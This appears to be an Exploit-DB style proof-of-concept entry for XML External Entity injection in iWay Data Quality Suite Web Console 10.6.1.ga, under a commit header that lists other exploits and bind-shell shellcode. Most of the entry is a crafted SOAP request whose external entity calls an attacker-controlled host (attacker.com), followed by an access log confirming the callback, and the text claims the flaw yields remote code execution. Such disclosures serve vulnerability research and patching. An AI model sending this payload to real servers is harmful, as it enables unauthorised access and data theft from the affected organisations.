91ac09507e
4 changes to exploits/shellcodes EE 4GEE Mini EE40_00_02.00_44 - Privilege Escalation iWay Data Quality Suite Web Console 10.6.1.ga - XML External Entity Injection ManageEngine Desktop Central 10.0.271 - Cross-Site Scripting Rausoft ID.prove 2.95 - 'Username' SQL injection Linux/x86 - Bind (5555/TCP) Shell Shellcode (98 bytes) Linux/x86 - Bind (5555/TCP) Shell (/bin/sh) Shellcode (98 bytes)
42 lines
No EOL
1.6 KiB
Text
42 lines
No EOL
1.6 KiB
Text
# Exploit Title: iWay Data Quality Suite Web Console 10.6.1.ga-2016-11-20 – XML External Entity Injection
|
||
# Google Dork: N/A
|
||
# Date: 2018-09-27
|
||
# Exploit Author: Sureshbabu Narvaneni#
|
||
# Author Blog : https://nullnews.in
|
||
# Vendor Homepage: www.informationbuilders.co.uk
|
||
# Software Link: http://www.informationbuilders.co.uk/products/integrity/dqsuite
|
||
# Affected Version: 10.6.1.ga
|
||
# Category: WebApps
|
||
# Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686
|
||
# CVE : N/A
|
||
|
||
# Technical Description:
|
||
# iWay Data Quality Suite Web Console provides web services features. As there is no
|
||
# validation present on the web services featured by product while processing
|
||
# the user input an attacker can easily inject external entities in the SOAP request and can
|
||
# achieve the successful Remote Code Execution on the server
|
||
|
||
# Proof Of Concept:
|
||
|
||
> Access the iWay DQS Web Console application section.
|
||
> Create an entry for web service and form a sample SOAP request.
|
||
> Send below crafted request to the server to confirm the vulnerability
|
||
|
||
<?xml version="1.0"?>
|
||
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://attacker.com/xxetest">]>
|
||
<soapenv:Envelope
|
||
xml:soapenv="http://schemas.xmlsoap.org/soap/envelope"
|
||
xmlns:ws="http://www.example.com/ws">
|
||
<soapenv:Header/>
|
||
<soapenv:Body>
|
||
<ws:test>
|
||
<ws:in>&xxe;</ws:in>
|
||
</ws:test>
|
||
</soapenv:Body>
|
||
</soapenv:Envelope>
|
||
|
||
> The below log shows that the web service component is vulnerable to XXE.
|
||
|
||
root@MrR3boot:/var/www/html# tail -f /var/log/apache2/access.log
|
||
1xx.xx.xxx.xx - - [25/Sep/2018:01:13:42 -0400] "GET /xxetest HTTP/1.0" 404
|
||
474 "-" "-" |